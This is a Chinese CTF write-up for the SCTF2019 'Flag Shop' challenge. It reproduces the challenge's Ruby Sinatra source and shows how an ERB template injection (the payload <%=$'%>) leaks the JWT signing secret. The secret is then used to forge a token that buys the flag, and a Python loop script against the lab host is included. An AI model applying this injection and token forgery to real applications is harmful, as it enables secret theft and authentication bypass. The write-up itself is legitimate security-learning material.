Life has its own fate, and meeting may not be accidental.

0%

[SCTF2019]Flag Shop

第一次遇见Ruby我去,以为是思路题~

首先页面是一个shop类的题

BUU

buy flag是购买flag,但是要求你的钱要到1e+27才行,work可以加钱,reset重置。审查页面元素没什么思路,发现robots.txt。

提示了/filebak

1
require 'sinatra'
2
require 'sinatra/cookies'
3
require 'sinatra/json'
4
require 'jwt'
5
require 'securerandom'
6
require 'erb'
7
8
set :public_folder, File.dirname(__FILE__) + '/static'
9
10
FLAGPRICE = 1000000000000000000000000000
11
ENV["SECRET"] = SecureRandom.hex(64)
12
13
configure do
14
  enable :logging
15
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
16
  file.sync = true
17
  use Rack::CommonLogger, file
18
end
19
20
get "/" do
21
  redirect '/shop', 302
22
end
23
24
get "/filebak" do
25
  content_type :text
26
  erb IO.binread __FILE__
27
end
28
29
get "/api/auth" do
30
  payload = { uid: SecureRandom.uuid , jkl: 20}
31
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
32
  cookies[:auth] = auth
33
end
34
35
get "/api/info" do
36
  islogin
37
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
38
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
39
end
40
41
get "/shop" do
42
  erb :shop
43
end
44
45
get "/work" do
46
  islogin
47
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
48
  auth = auth[0]
49
  unless params[:SECRET].nil?
50
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
51
      puts ENV["FLAG"]
52
    end
53
  end
54
55
  if params[:do] == "#{params[:name][0,7]} is working" then
56
57
    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
58
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
59
    cookies[:auth] = auth
60
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
61
62
  end
63
end
64
65
post "/shop" do
66
  islogin
67
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
68
69
  if auth[0]["jkl"] < FLAGPRICE then
70
71
    json({title: "error",message: "no enough jkl"})
72
  else
73
74
    auth << {flag: ENV["FLAG"]}
75
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
76
    cookies[:auth] = auth
77
    json({title: "success",message: "jkl is good thing"})
78
  end
79
end
80
81
82
def islogin
83
  if cookies[:auth].nil? then
84
    redirect to('/shop')
85
  end
86
end

Ruby ERB模板注入可以稍微学习下。

本来没什么思路的看大佬blog,Cookie是JWT的,之前做项目本来要用的,后来偷懒没用。。

发现:

1
  if params[:do] == "#{params[:name][0,7]} is working" then
2
3
    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
4
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
5
    cookies[:auth] = auth
6
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
7
8
  end
9
end

这一段存在注入,如果传入的do参数和name参数一致,会输出{params[:name][0,7]} working successfully!,ruby里有预定义变量

$'-最后一次成功匹配右边的字符串。

构造do=<%=$'%> is workingname=<%=$'%>,记得把里面内容转成十六进制

Brup

拿到secret

JWT.io

将jkl改成1e+27,反正凑成能买flag的钱就行。然后换上去购买。

brup

JWT.io

我自己脚本写错了,我学长帮我写了个

1
import requests
2
3
i=0
4
hea="auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJkYTQxMTQwNy1mOTU4LTRmOTktOWU0Mi1iZTVlZmRhNTc2ZjIiLCJqa2wiOjIwfQ.YPg24ZW9BpT18ozBDCFjNDg0rirbCRT6USl3zzguZA8"
5
while(i<=1000000000000000000000000001):
6
    url = "http://9d28a02d-1d7b-412c-9fe8-cb414a4ff97a.node3.buuoj.cn/work?name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working&SECRET="
7
    sess = requests.session()
8
    sess.headers['Cookie']=hea
9
    res = sess.get(url)
10
    hea=res.headers['set-cookie']
11
    print(res.text)
12
    sess.headers['Cookie'] = hea
13
    url1="http://9d28a02d-1d7b-412c-9fe8-cb414a4ff97a.node3.buuoj.cn/api/info"
14
    re=sess.get(url1)
15
    a1=re.text.split(':')[2][:-1]
16
    i=int(a1)
17
    print(a1)
18
    print(hea)

参考
L
XD_whYe